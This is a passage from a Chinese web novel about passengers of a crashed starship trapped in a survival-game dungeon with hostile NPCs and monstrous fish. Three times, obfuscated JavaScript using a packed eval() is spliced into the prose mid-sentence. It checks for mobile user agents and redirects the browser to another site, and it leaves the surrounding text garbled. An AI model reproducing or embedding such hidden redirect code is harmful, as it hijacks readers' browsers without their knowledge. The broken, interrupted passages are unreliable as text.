《在星际直播给鬼怪拍X片后》 1. 失落之海1 “警告，警告，遭遇不明原因的电磁干扰，引擎错误关闭。飞船即将迫降。” 舱内红色的警告灯闪个不停，飞船智能管家正用毫无波澜的声音陈述这一不幸。 “大家稍安勿躁！飞船机组已和最近的星际停泊港取得联系，五分钟后紧急着陆。”甜美而冷静的女声盖过了警报声，这是乘务员在说话。 “怎么回事，机组知道发生了什么吗？” “天哪引擎故障，我们不会被某个星球的引力吸过去坠机吧！” “等这次回去我一定要投诉星航公司！” “你还是最好先祈祷我们能回去吧！” 乘客们乱作一团，有人大喊着要回家，有人冲向驾驶室要和机组理论，还有人打开光脑写遗书。 因此几乎没人注意到，窗旁有个身影镇定得出奇。 在周围一片嘈杂而惊恐的议论声中，江显安静地将目光投向窗外。 一窗之隔就能够看到他们下方那颗紫色的行星，气体在它表面构成了一层白色的絮状纹路，它的外围带着一圈淡紫的光环。 放在平时，这种瑰丽宏伟的景色唯有在“美杜莎”星际望远镜的年度摄影展览上，才能看到。 “你不怕？”江显身旁坐着个戴副眼镜的女孩，正饶有兴趣看着她。 江显转过头：“你不也是？” “我有在星际旅行前写遗嘱的习惯。”女孩说，“如果着落时间后24小时我还没有删除定时备忘录，遗嘱就会自动发给银行生效，存款转给我的父母，零星的一些资产赠给朋友，然后语音留言告诉他们我去宇宙角落流浪和考察了。” “我没有要留遗嘱的人。”江显说。 “对不起。”女孩伸出一只手，“苏乐，今年19，星球生态环境系学生。” “江显，懂点影像读片。”江显搭上了那只手。 那只手连带着她的一起轻颤，眼前的女孩显然不像表面那样淡定。 “你是影像科医生？好厉害！”她重重摇了俩下江显的手。 “夕阳产业罢了。” 都星际时代了，大数据分析和机器判读早就接手了大部分影像工作。 要不是医院需要少量精尖人才核对和复查机器的报告结果，江显也该失业了。 飞船剧烈震荡一下，照明灯也被晃灭一秒。 乘务员的声音再次响起：“我们已启动备用引擎，现在即将飞跃Violet-α号行星，穿越星门，前往第三星港。” 星门是星际航行里能够实现瞬时跳跃的空间通道，大大缩短了航行时间。 “过程中可能稍有颠簸，请大家系好安全带。” 船舱一阵震动，大概就是备用引擎启动了。 “那颗紫色的就是Violet-α？还真像是一朵紫罗兰。”苏乐伸长脖子凑到窗边。 江显没有回答她的提问，因为她突然觉得眼前这颗紫色巨大行星的轮廓在虚化和失真。 那神秘、富有层次的、深浅不一的紫，正抽象成一团团不同灰度的色块。 “小显，快把逃生舱关上……你看那颗近在咫尺的水蓝色美丽行星就是我们的家园……” “你要记住，当你看向茫茫宇宙时，不仅仅是在观测那些毫无生命的星球……”头脑深处的回忆正在重现。 “在看什么？难道是给行星读片？”苏乐不解。 她的话让江显猛然从刚刚的幻觉里抽离。 还没等她再说什么，广播里开始响起刺耳的刺啦刺啦杂音。 “警告，警告，舱内供氧系统失灵，尝试重启……” 江显反应飞快，站起身摘下了架子上的氧气面罩，眼疾手快把苏乐的也摁在了她脸上。 “唔唔……唔……” 苏乐刚刚慢了一拍，此刻呛了一下，好一阵才缓过来。 “咳……咳，你不是刚刚还面对生死比谁都淡定，怎么现在拿面罩也比谁都快？” “好歹还能多撑几分钟。”江显还没想过要去死。 “我赞同……多活一会儿总不是亏本买卖……”苏乐含糊不清地说。 舱内气体已经很稀薄了。没了介质，她的声音都传不出面罩。 “重力模拟系统失灵。” 失重的感觉一下子袭来，他们正在加速下坠。 没来得及系紧安全带的乘客飘满了舱内。江显抬起头，仿佛就能看到漫天的小行星。 缺氧后的窒息来得极其迅猛，短短一分钟内人就会失去意识，长眠不醒。 “照明系统失灵。” 舱内骤然暗了下来。 苏乐似乎有点紧张，下意识抓住了江显的手。 江显没有躲开。俩个人的温度加起来总好过独自一人面对未知。 如果下次还有机会乘坐星际飞船的话，她大概是会考虑写点什么留下来的。江显想。 还有，她绝不会贪便宜再乘红眼航班了。 黑暗吞没了她的意识，她不知道自己究竟是坠落了还是升上了虚无的夜空。 * 人物：江显 身份：玩家 武力：60（真是平平无奇呢） 智力：90（您是把加点全加在这儿了吗） 精神波动：40（平稳） 技能：【显影】 技能说明： 【你有一双奇妙的眼睛，能够看到其他人无法接受的信息。】 请在游戏中探索使用方法，解锁更多技能！ 江显隐约听到有人在耳边棒读这些莫名其妙的话。 潮湿的空气扑面而来，令人一振。 再回过神来时，江显发现自己置身于一片茂密的森林之中。 周围都是粗壮的枝干，几十米高处的树杈连接成一片密密的、蔽日的网，整个林间都十分幽暗。 【副本-失落之海】 眼前跳过几个黑色的大字，江显还没反应过来现在状况，又自动跳出了一则文字说明。 【绿松石星（Turquoise）是被绿色笼罩的小行星，自转周期为15小时。】 【它曾因透明无暇而平静的绿色海水而著名，许久以前的某个春天为它戴上另一顶永不凋零的翡翠皇冠。】 【你们是造访绿松石星的一支考察团队，肩负着重要任务，将在这里进行为期7天的停留。】 江显退出简介界面，觉得一切都是那样不可思议。 她莫非是随着失控的飞船一同降落到了这颗星球上？ 江显点出光脑界面，想看星域地图，可是这里没有信号，光脑只能当个摆设。 除此之外，这还意味着无法和外界取得联系。 而眼前不知从哪里投来的提示文字还在变动着。 【副本加载中……正在集结玩家】 “江显？谢天谢地你也没事！” 江显一转身，就是苏乐略带担忧又惊喜的脸。 苏乐头发上挂了叶子，弱不禁风的手臂上也被划了几道浅痕，扮相挺狼狈。 “你这是……非法着陆时弄的？”江显勾了勾唇角。 有人作伴总比一人好，更何况苏乐的性格让她很舒服。 “不是，是不小心自己滑倒的。”苏乐不好意思地挠头，“这地里潮湿得离谱，我一脚下去就‘咕叽咕叽’冒泡。” 【虚拟X线扫描已完成，信息档案建立】 人物：苏乐 身份：玩家 武力：20（纸糊的都比你结实） 智力：50（就…挺普通的） 精神波动：50（你似乎刚刚经历一些刺激） 技能：无 信息卡一弹出，江显又是一惊。 虚拟X线扫描是什么鬼！一个飞船失事让她变异成X光仪器了吗？ “你不觉得我有哪里不对吗？”她问苏乐。 苏乐一脸懵：“什么不对？我们出现在这鬼地方有哪儿是对的吗？” “我是说我的各方面数值……正常吗？” “什么数值？你是想说生命体征吗？”苏乐说，“飞船上倒是有仪器，可是飞船和其他乘客不知所踪了。我一醒来就只听到一个奇怪的系统提示。” 看来别人无法看到人物的相关信息，只有她能看到。江显心想。 这是她的技能【显影】所说的“奇妙眼睛”吗？ 飞船到底去哪儿了？江显想不明白。 难道是他们昏迷后，飞船成功开启了逃生舱？但是她附近也没有相关器械残骸啊！< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055762|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>俩人讨论之后，决定先去四处转转寻找飞船。 这里到处都是参天的大树，密密匝匝的树干像是囚笼，把她们圈禁起来。 高处，层层叠叠的树冠交错纵横，遮蔽了阳光；而在脚下，无数遒劲的树根盘曲和缠绕，在它们之间铺满了落叶，像是一只布袋的底，把一切都网罗其中。 ——她们无处可逃。 江显在前面走，忽地听到后面苏乐说：“你脚底沾了一大堆树叶，找个地方清理一下。” 江显抬脚看了看。确实，地上那些树叶一沾水，全都糊在鞋底，这么下去恐怕是容易滑倒。 于是她扶着一根树干，把那些树叶蹭落在树根上。 “怎么一点泥土都没有？”她看着那堆湿透的落叶疑惑。 要是放在平常，在树林里走个几十米，鞋底都准糊满了泥。可现在她的鞋底除了有些水外，干净如初。 “这些树的根……扎得很深，陆地表面又全部被树根铺满，所以看不到土壤？”江显问道。 苏乐见状也直摇头。她虽是环境生态系学生，却也没见过这么奇怪的植物和生长环境。现下也只能如江显所说那样牵强解释了。 正在这时，一道沙哑古怪的声音插了过来。 “你们就是来这里考察的研究员？” 江显一抬头，就见一个留着络腮胡子的大汉走来，身后跟着浩浩荡荡一群人。 大汉四五十岁的样子，一身便于行动的装束，腰带上挂着一溜儿武器装备。 他身材魁梧壮硕，面容有着地球时代西方人的特征。 人物：向导 身份：npc 武力：30（暂时） 智力：30 精神波动：40（暂时） 技能： 【广播】：向导能够随时向所有队员单向传递消息。 介绍：在你们到来之前，向导已在这颗星球上留守了许久，对这里的情况了如指掌。如果有任何问题的话可以向他提出。 再下面是一个“？2，可触发”的图标，让人费解。 江显目光又晃到他身后那十几个队员身上，惊奇地发现他们竟然全是npc！ “你们就是来这里考察的研究员？”向导再次重复道。 他正盯着俩人看，苏乐心里发毛，疯狂点头。 “1，2……人齐了。我带你们去科考站。”向导说。 于是整支队伍浩浩荡荡地朝着科考站进发了。 苏乐靠过来小声讨论：“这么多都是玩家？” 这进一步验证了她不能看到人物信息。 “也许是npc？全是玩家也太多了。”江显含糊其辞。 “在林间行走要保持安静！”向导瞥了两眼。 江显压低声音：“为什么？” “因为……这片树林能听到。”向导怪笑着往前走去了。 江显和苏乐面面相觑。 怎么说得和闹鬼似得！ 俩人心里忐忑不安地走了一路，终于看到了那藏在密林之中的建筑。 科考站有三层楼高，外观成白色，周围的灯光把那一片照得亮如白昼。 楼面上似乎受了潮，一片深色水渍，旁边的镂空铁门已经生长垂挂下一片未知的藤蔓。 俩人走过去时，正好听到铁门那一阵“悉悉索索”的声响。 “一会儿功夫就找到其他人了？” 说话的是一个清朗的男声。 和向导等npc那样粗犷的嗓音截然不同。 江显循声望去，首先看到的是一段修长而白皙的指节拨开层层密密的垂蔓，再然后白衬衫从袖口到领口接连闯入了这片属于植物的世界，突兀而格格不入。 那是个很年轻的男人，一身安静的书卷气，头发是鸦羽一样的漆黑，面容清秀；眼尾微微下垂，显得几分无辜。 苏乐一脸困惑：“你是？……” “别去！” 江显大喊一声，还是晚一步，苏乐已经要伸手去开那扇门了。 苏乐惊得手一缩，愣在了原地。 “啊，为什么？” 江显咬了咬嘴唇没再说话。 这个人，她的“虚拟X线扫描能力”提示【识别失败】。 2. 失落之海2 “我叫陆寰，是先你们一步来到科考站的玩家。”年轻男人自我介绍。 他仿佛没看到江显方才眼里的戒备一样。 似乎是为了验证他的话，下一刻提示音和字幕出现在所有人眼前。 【玩家陆寰、江显、苏乐完成聚集，副本《失落之海》正式开启。】 【主线任务1：请在3天内找到海洋的踪迹，调查这里曾经发生了什么并采取措施】 【副本奖励：脱离副本。】 【失败惩罚：抹杀。】 【隐藏支线任务剩余：3/3】 【最终boss复苏进度：20%（完全复苏时会发生严重后果）】 江显陷入沉思。 副本奖励是离开这里，是否意味着他们能够回家？而失败惩罚是抹杀……也许意味着，他们在副本里死去了，也就真真切切地死了。 形势不容乐观啊。 现下她别无选择，唯有相信这些提示。 “不好意思，我们刚刚经历了飞船事故，她可能还在应激状态里。”苏乐见江显不说话，赔着笑给她找台阶。 江显也顺坡下驴地道歉，表示自己又是坠机又是诡异副本，神经过于紧绷。 她借机又瞥了陆寰一眼。 依旧无法识别信息资料。 陆寰点点头：“原来你们也是飞船故障。” 江显不解：“也？” “我是首都星的天文学助理教授，信号中断前收到的最后消息是一群航天观测站的同行正在疯狂讨论情况。当时许多途径那一星系的飞船都故障了。” “那他们也进入了类似的副本？” 这个副本里只有他们三个玩家。如果飞船故障是普遍现象，副本或许也不止一个。 “这就不得而知了。” 陆寰轻轻摇了下头。 随后他主动伸出了手：“这下我们算是重新认识了。” 那双眼睛漆黑而清澈，看上去纯良又真诚，实在很难让人心生戒备。 她晾了几秒，最终还是搭上了他的手。 “江显。地球人。影像医生。“ “看来我得小心着不能得罪江老师了。”陆寰笑起来，“如果江老师突然学会给星球星系读片子看病，可是我们全队的希望。” 某“全队希望”面不改色违心吹捧：“陆老师是天文学家，上手更快。还是更可靠些。” 说这些时她和一双洁白干净又骨骼分明的手接触。 苏乐欣慰地看着俩人冰释前嫌，觉得整支队伍分外团结。 “你来到这儿多久了？”苏乐好奇。 “不久。大概才十几分钟，还没来得及逛过这座科考站。或许我们可以一起。”陆寰说道。 正说着，向导走了过来：“你们自己先转转吧。” 他说话时眼珠是直勾勾不动的，眼球突出，眼白呆滞，就像是一双“死鱼眼睛”，让人毛骨悚然。 难道刚刚系统提示的最终boss是他？ 苏乐打了个哆嗦，刚要答应他好眼不见为净，不想被江显抢在了前头。 “或许你能带着我们参观一下吗？”江显询问。 她的技能刚刚可是明确说了，“有什么不懂的可以问向导”。 既然如此，她现在的行为就算不上是胡搅蛮缠。 苏乐在旁疯狂打手势试图阻止她，但效果甚微。 “我很忙，还有很多事情要做。”向导的眼珠缓缓朝江显转过去，一字一顿地说。 江显故作苦恼：“可是我们刚来这儿，人生地不熟，要是误入了什么不该闯入的地方就不太好了。” 苏乐在她背后偷摸着拍她手拍得生无可恋。 她怕不是疯了！苏乐近乎抓狂。 她怎么敢去得罪npc啊！ 看着样子也知道npc不是什么好惹的角色。 向导就那样一言不发地看着他们，仿佛随时都要暴起伤人。 苏乐捏紧了拳头，下定决心一有什么拉着罪魁祸首拔腿就跑。 没成想下一刻，阴恻恻的向导憋出了一句话：“可以。” 苏乐：？？？这也行？ 强烈的荒诞感之中，她跟着向导朝科考站里走去。 她没有看到，在她身后，江显嘴角露出了果然如此的笑意。 【恭喜玩家江显触发支线任务！】 【支线任务1：向导的秘密】 【向导原先不叫向导的，向导也有他的名字】 【藏匿的过往里埋葬着怎样的秘密，栽培巨木的土壤又来自何处？】 【请玩家找到这些问题的答案】 【注：支线任务只能单人触发，不可重复触发。】 江显眼前出现了仅有她一人能看到的提示。 现在她再看向导的信息资料，“？2”符号已经变成了“？1”，但与此同时“精神波动”也从30变为了40。 同样增长的还有变成50的“智力”和“体力” 【提示：窥探到太多秘密会很危险噢！】 江显心里把这副本大骂了一遍。 照这趋势，等她走完支线，向导也该变成文武双全还很愤怒的怪兽了。 只是，“？1”代表向导这里还有条支线没触发，那又是什么呢？ 向导领着他们走进大厅，一一介绍着这里的布局。 “这是大厅，以往在新年时我们会举办舞会。啤酒、威士忌、香槟……在这鬼地方坚守上一年真不容易，大家尽情喝得酩酊大醉，然后东倒西歪在舞池里乱跳一气。” 江显似是随口一问：“今年也是这样？” “那当然！这可算是我们队伍的传统！”向导那张怪异的脸上竟有几分自豪。 “听起来真是很热闹的场面。”江显点点头。 “那里就是餐厅，每天大家用餐的地方。”向导指指大厅另一边的长桌。 苏乐好奇：“我们在这里吃啥？” 向导诡异一笑：“鱼。” 鱼？？？ 三人对视一眼，都从对方眼里看出了震惊。 有鱼就有水，找到水就大概率找到了任务要求的海。 陆寰问道：“是什么鱼？” “那当然是冷冻鱼肉，低温保鲜！” “我是问什么品种。” 向导一脸看傻子的神情：“都是冻的了，当然什么鱼都有。” 陆寰接着问：“鱼是从哪儿来的呢？” “冷冻柜里。” “冷冻柜里的鱼从哪儿来呢？” 向导一脸莫名其妙：“海里啊。” 三人面面相觑。 不过现在谁也没空深究这些问题，因为他们已经离开餐厅，正在前往后面的冷冻库和厨房了。 显然，向导被他们问得不耐烦，打算让他们亲眼见证一下。 一拉冷冻库的大门，一股刺骨寒气扑鼻。 白茫茫的寒雾缓缓散去，四周都是密密麻麻蜂巢一般的冷冻格。 苏乐走过去想看清楚些。 不料在她靠近柜子的一瞬间，不巧有什么硬邦邦的物体直直坠到了她的脚上。 “咔嚓”。 是冰层碎裂的声音。 “鱼！好多冷冻的鱼！”苏乐惊呼出声。 江显闻言走过去查看。 冷冻格里塞满了长相怪异的鱼类。 它们浑身漆黑，满口锋利的尖牙，瞪得圆圆的眼睛呆滞地看着她。 被这么多双眼睛不怀好意盯着，江显心里也不免有些发毛。 “这就是……” “这就是我们日常吃的鱼啊。”不等她问出，向导已然说道，“这是这个星球上最常见的鱼类，随便找个地方撒网就能抓到。” “那我们能在捕鱼时跟着前去看看吗？”陆寰眨巴着眼睛，一脸好奇地问。 江显和苏乐没料到他会问得如此直接，皆做好了被拒绝的准备；江显甚至已经开始猜想向导的精神波动会飙升到多少。 没想到向导咧着嘴答道：“好啊。” 【向导基本属性改变，体力50->60，智力50->60】 “什么时候？” “就在3天后。” 听完他们的对话，又看到npc属性变化，江显霎时间反应过来，陆寰应该也和自己一样触发了支线任务。 自己的支线任务是【向导的秘密】，那他触发的呢，难道和鱼有关吗？ 江显极其好奇，只可惜这只有触发者可见。 当她思索着这些，下意识把目光落在陆寰身上时，那个原本侧对着她的身影竟也恰好偏过脸来。俩人相视一笑，视线像是碰撞的火星，一触即逝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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冰层在一点点消融，怪鱼们的鱼鳞正在变得光亮，鱼鳃开始一下下翕动。 水被搅出了一圈又一圈的波纹，它们正在游动！ 汉斯把手伸进水池要把它们捞出来，但是离他最近的那条怪鱼却灵活地打了个转儿，扭过头张口就要咬他。 好凶猛！ 江显看到了怪鱼张开的大口里那俩排密密麻麻的牙齿，心里不寒而栗。 她不敢想象被这样的牙齿咬上一口，手会面目全非到什么地步。 但汉斯却像完全没看到那俩排牙齿一样。他桀桀笑着，一下捏住了一条怪鱼的头部把它甩上案板。 鱼尾拼命扑腾着奋力挣扎，汉斯拿起一旁的菜刀猛地一拍，怪鱼就彻底晕过去了。 然后他开始熟练无比地给鱼去鳞、脱骨剔肉，切块摆盘。 鱼鳞在细碎的声音里被一点点刮掉，鱼骨被切断发出咯吱咯吱令人牙酸的声音。 厨房里弥漫着一股浓重的血腥气。 “你们来得正是时候。听说来新人了我才特意切块，放在平时都是直接生啃的。”汉斯对江显他们说，“晚饭马上就要好了，再等十分钟就能开饭。” 苏乐看着那一锅温水彻底懵了了：“这不还没煮熟？” 汉斯一脸奇怪：“为什么要煮熟？” 江显目光停留在盘子里那些淌出的血水上，它们像是血腥而狰狞的湖泊。 “我们也不能吃生的啊……”苏乐心里发毛小声嘀咕。 “你说什么？”汉斯满脸不悦。 他当即拿起一块鱼肉放进嘴里，快速咀嚼几下后便囫囵吞枣似得咽下去了。 “唔！好吃！这可是少有的人间美味。”他比了个大拇指，抹了抹嘴角的血迹，一脸享受。 “可是我们……”苏乐还在坚持讲道理。 “不鲜活着吃，难道你们想吃死鱼？” 江显：…… 她竟然无言以对。 下一秒，她的眼前出现了一整盘血淋淋的生鱼片。 汉斯近在咫尺的脸看起来分外诡异：“你怎么不尝尝？” 3. 失落之海3 江显脸上处变不惊，没有动。 “你不准备尝尝吗？”汉斯的音色变得沙哑而怪异，似乎还带着金属的质感。 问出这句话时他像是向导刚刚那样眼球慢慢突出，呆滞地盯着江显。 同时出现的，是他“精神波动”的攀升。 不妙，要是自己一直不答应他，他的精神波动就会持续上升。 数值达到100会发生什么？ 江显不得而知，但她知道那一定不是什么好事情。 她大脑飞速运转着，思考怎样才能糊弄过去。 没等江显采取措施，一个穿着白衬衫的身影挡在了她面前。因此江显没能注意到，在他身后那盘被切成片的鱼肉，变成了一团与之前不大一样的白色柔软未知物质。 “抱歉，我们刚来到这儿，还不太习惯这里的饮食特点。”陆寰赔着笑解释说，“我们还有些自带罐头，请给我们再多些时间适应。三天后我们一定会来尝尝这里的特色佳肴的。” 这种话一点都不可信。3天是系统给他们的任务时间，到时说不定他们早通关了。她要是npc，一定揪着让玩家们立刻吃掉。 江显在心里对他的这番说辞表示嗤之以鼻。 她虽然也感谢陆寰挺身而出的勇气，但也觉得他单纯得有点可爱，对这种来历不明的npc居然还想以理服人。 不想汉斯停顿了几秒，点点头：“那好吧。” 江显：？ 苏乐：？ 她隐晦地打量陆寰的神情，就见他脸上依旧是那副温和而纯粹的笑。 第二次了。 刚刚他毫不费力让向导答应他的请求，还能用那里有支线节点触发来解释， 现在换了个npc还是这样，总不能是运气好到一连触发2个支线吧？ 退一万步来说，就算是他又触发支线了，支线主题又能是什么？就现下经历而言最可疑的是鱼，但之前那个支线大概率和鱼有关；而他们不可能触发俩个主题相同的支线。 以及最关键一点，她的技能没提示汉斯这里有可触发支线啊！ 要是能看到他的信息就好了…… 这么想着时候，江显突然心里一动—— 对啊，凭什么只有她一个人有特殊技能？如果陆寰的技能恰恰是让别人信任他，打消对他的怀疑呢？ 这样完全能够解释为什么npc，甚至他们玩家都下意识地对他打消怀疑。 江显越想越觉得自己猜到了真相。 她决定找个机会问清楚。 但显然不是现在，现在他们已经看完了一楼，向导正带着他们从楼梯上二楼。 二楼是一条长长的走廊，两侧满是小门。 陆寰一脸好奇地过去，这儿瞧瞧，那儿看看，不多时碰过门把的手上就沾了一层灰。 “至于三楼，那里有我的办公室和住处，有些乱。你们不要随意进入。” 向导说完这些，开始带着他们往下走：“整个科考站大概就是这样。你们先去餐厅吃饭吧，差不多也到饭点了。我先去处理一些事情。” 几人再次来到餐厅时，那里已经十分热闹了。 早先在林子里遇到的那群npc队员们已经三三俩俩落了座，一个个勾肩搭背地正聊得不亦乐乎。 餐厅顶上温暖的橘黄灯光照耀，刀叉与盘子碰撞的声音不绝于耳。如果不是盘子里那些极为惊悚的食物，这一定会是一副温馨而热闹的图画。 “他们这么吃……真的没问题吗？”苏乐看着脸上满是鱼血的npc们道。 他们在毫不掩饰的大笑里将盘子上血淋淋的鱼肉送进口中，一边咀嚼着一边继续含糊不清地说笑。 那大快朵颐的模样都要让人怀疑这些生鱼是不是真的有问题了。 “先不管有没有问题，陌生的星球，不熟的食物是肯定不能碰的。”江显捏住鼻子，努力掰下一块压缩饼干送进嘴里。 血腥气太浓郁了，呛得人鼻子要报废。好在压缩饼干本就没有香味，倒也不算影响食用体验。 在生食的危害方面她相信自己不用赘述，生态学系出身的苏乐肯定也知道生肉上有各种细菌甚至寄生虫。 “我赞同。”陆寰梗了下脖子附和她，往嘴里猛罐一口自带的水。 三人已经努力找了个人少偏僻的角落了，尽管如此还是没能摆脱来自于生鱼的折磨，只是听着，都觉得头皮发麻。 多亏陆寰争取，他们才有了吃这些自带食物的资格，尽管味道一言难尽难以下咽，至少还算是在人类食谱范畴内。 他们最近的那一桌正在吃鱼头，他们把怪鱼的牙齿一点点卸下来，然后一整个送进嘴里；旁边那几人在舔盘子，把剩下的血水舔的一干二净。 “咯吱咯吱”的声音进入耳朵，那是鱼骨头被嚼碎的声音——他们居然连骨头都不带吐的。 几步之遥的地方正在上演一场极其血腥的饕餮盛宴，视觉和听觉以及嗅觉的三重折磨让三人的神经快要被绷断了。 “听这架势会让人以为他们在生嚼恐龙。”苏乐勉强振作着讲着笑话，“还有这铁锈气味……去年年梅雨季我们学校勘探队的支架全锈了都没这么夸张。” “那么真不幸，不快点解密的话4天后我们就得品尝铁锈恐龙了。”江显说着，拍了拍身上的饼干屑。 “别的不清楚，但他们这些坏习惯肯定不是他们在母星上时候养成的。”陆寰耸了耸肩。 这很显而易见的，没人会蠢到送一群茹毛饮血的疯子来科考。 母星是所有已开发和居住星球的统称。 星际时代，人们的足迹早就遍布于各大星系。他们从母星出发，前往那些尚未被征服的野蛮星球，进行长达数十年的驯服和改造。 这个副本显然就是发生在这样的背景前提下。 三人快速解决了难吃的晚餐，刚要悄无声息离开，不想异变陡生！ “看呐，那就是白天的几个新人！”有眼尖的发现了他们。 犹如一石激起千层浪，一下子十几双眼睛齐刷刷地看向了他们。 被这么多死气沉沉的眼珠子包围着，三人心里皆瘆得慌，一时进退两难。 “他们没有吃鱼肉。”有人不满地嚷嚷说。 “这是不想加入我们的意思吗？”有人附和，“入乡随俗都不懂。” “太傲慢了，这是瞧不起我们吗，就应该给他们点颜色瞧瞧……” “不如把他们捆起来吧，这样他们就能乖乖听话了……” 那些审视的目光正在愈发变得肆无忌惮，江显接连听到了几声“精神波动”上升的提示。 “卧槽快跑！“她一手拉一个，转身离开这个是非之地。 陆寰和苏乐没有读属性的技能，因而无从得知那些飙升的npc属性。 他们因江显这突然之举愣了一下。 但他们之间并无过节，本着江显没必要害他们的想法，他们跟着她朝餐厅外跑去。 身后是桌子被掀翻，盘子不断碎裂的声音，夹杂于其中的还有一些密集的脚步。显然那些npc也在追 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055764|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他们。 “哒，哒，哒。” “哒，哒，哒。” 他们原本在最边上，这下直接跑得穿过了整个餐厅。 不知跑出多远，那些脚步似乎消失了，取而代之的是一种酷似鱼尾拍打的有节律声响，甚至带着潮湿的水声。 水？好端端的怎么会有水？ 那声音越来越清晰了——它和他们的距离在越来越短！ “那是什么？” “不知道，搞不好是鱼从餐厅旁的冷冻柜里跑出来了！不管了快跑！”江显甚至不敢回头看。 三人终于逃出了餐厅的那扇单向门，江显拉住门把手把它甩上，随后身体死死抵住它：“不能让它们过来！” 门上有一把锁，她得争取时间把它锁上。 另俩人也心领神会，一起把身体重量压在门上。 “咚！”有什么东西重重撞在了门上，三个人皆是一趔趄。 鱼！还真是冷冻柜里的那种鱼！ 透过门上那扇小小的透明窗户，他们看到一只长了四条腿的怪鱼正在门后横冲直撞。 它用鱼尾做支撑，尾部肌肉收缩，然后像是弹簧一样起飞，诡异的鱼鳞和眼睛都在他们眼前不断放大。 “咔！”怪鱼张大了嘴巴，俩排锋利的牙齿和他们只隔了一道玻璃。 门板被重重地撞击，三人同一时间后仰。 短短一瞬，他们就看到被撞开的门缝里伸来一只长有尖刺的鱼鳍。 那尖刺和钢针一样，又密又长，人被扎一下准得完蛋。 “啊！”苏乐一惊，抄起不知啥时候顺来的叉子朝那鱼鳍扎过去。 鱼鳍被她扎得一抽搐，一下缩了回去，江显趁机拉上铁锁把餐厅门锁上。 透过玻璃小窗，他们能够看到餐厅的地面上趴着数条怪鱼，足有一米多长，一条条炮弹似得飞上来撞击着，整齐得好像排队跳伞的士兵。 好在门够坚固，目前为止还没有任何要顶不住的迹象。 江显从玻璃里注视着那些凶猛的怪鱼。 眼前忽然闪过提示。 病变提示 名称：裂齿鬼鱼【活化形态】 武力：60 智力：30 怪物等级：普通 技能： 【嗜血】：被它们视为同类的血会让其兴奋，进入无差别攻击的狂暴状态。 攻击特性：可依靠压缩尾巴进行飞跃，最远距离可达10米；小心它们巨大的咬合力。 怪物说明：裂齿鬼鱼是这里的本土物种，因其嘴里俩排密集的牙齿而得名，极易与其他生物辨别。尽管有时候它们会以其他的形式存在。 江显不出意外又看到了它们的属性。 现在，才经历一场惊心动魄追逐战的三人都靠着门休息。 “你怎么知道不对劲的？”苏乐上气不接下气，冲江显比了个蔫蔫的大拇指。 多亏江显提醒，他们才及时反应逃出生天。 江显思索了几秒：“可能是直觉吧……” 她说着站起身，低头看着门上的铁锁发愣。 “被它们视为同类的血会让其兴奋……”她想起刚刚的那句提示。这是说如果打伤其中一条怪鱼，其他怪鱼会陷入自相残杀的状态吗？ 在苏乐发出疑问之前，江显拿走了她手上的那把叉子。 “你这是要干什么？！”苏乐一惊。 江显淡然一笑：“模仿捕鱼达人。” 苏乐：？？卧槽她真的是疯了！ 4. 失落之海4 在其余二人震惊的目光下，江显把铁锁的锁链稍微松开了一点。 在又一条怪鱼卯足劲撞上来时，鱼头恰好挤开虚掩的门缝。 “关门啊！”苏乐大声提醒着要冲过来帮忙。 江显眼疾手快，在同一时间猛拉锁链，然后以迅雷之势把锁扣重新扣上，于是怪鱼就这样被卡在了门缝里。任凭它如何疯狂扭动，都无法挣脱出来。 “我要……吃了你…………”怪鱼嘴里竟发出了含糊不清的声音。 鱼类有声带吗？这一下可把三人惊得不轻。 江显反应最快，握着那把叉子，对准怪鱼头部的鳞片间隙狠狠扎进去！ “铛！” 叉子像是扎在什么硬邦邦的金属上面，只刮下来一层冰碴子。 “呃呃呃呃！……啊！……”怪鱼尖叫起来。 突如其来的疼痛让怪鱼暴怒不已，它猛拍一记尾巴，整扇门似乎都在摇摇欲坠。 江显毫不犹豫，又抓着叉子在同一位置扎了几下。 她力气并不大，但是这么连续几次全力攻击，叉子也已经深深插进了怪鱼身体深处。 在其余俩人目瞪口呆的注视下，江显转动叉子在怪鱼头部的洞口里狠狠扭动了几圈。 怪鱼的叫声越来越弱，很快就消失了。 大部分动物的运动都有赖于中枢神经系统的功能，破坏后就会失去活动能力。 这是许久以前江显还在医学院时学到的东西。那时他们在生理课上做牛蛙实验，尖针穿过枕骨大孔捣毁牛蛙的大脑后，活蹦乱跳的牛蛙就变得和烂泥一样了。 江显不太了解鱼的生理构造，但想必大多数脊椎动物都大差不差。 怪鱼慢慢地停止了挣扎，恐怖的大嘴也失去控制耷拉了下去。 但江显脸上却没有丝毫笑意。 诚然，她完美示范了一种快速击杀怪鱼的方式；但她关注的重点并非在此，而是…… 这种怪鱼，没有血液。 没有血液，怎么触发那个被动效果，让它们自相残杀呢？ 江显瞳孔一缩。 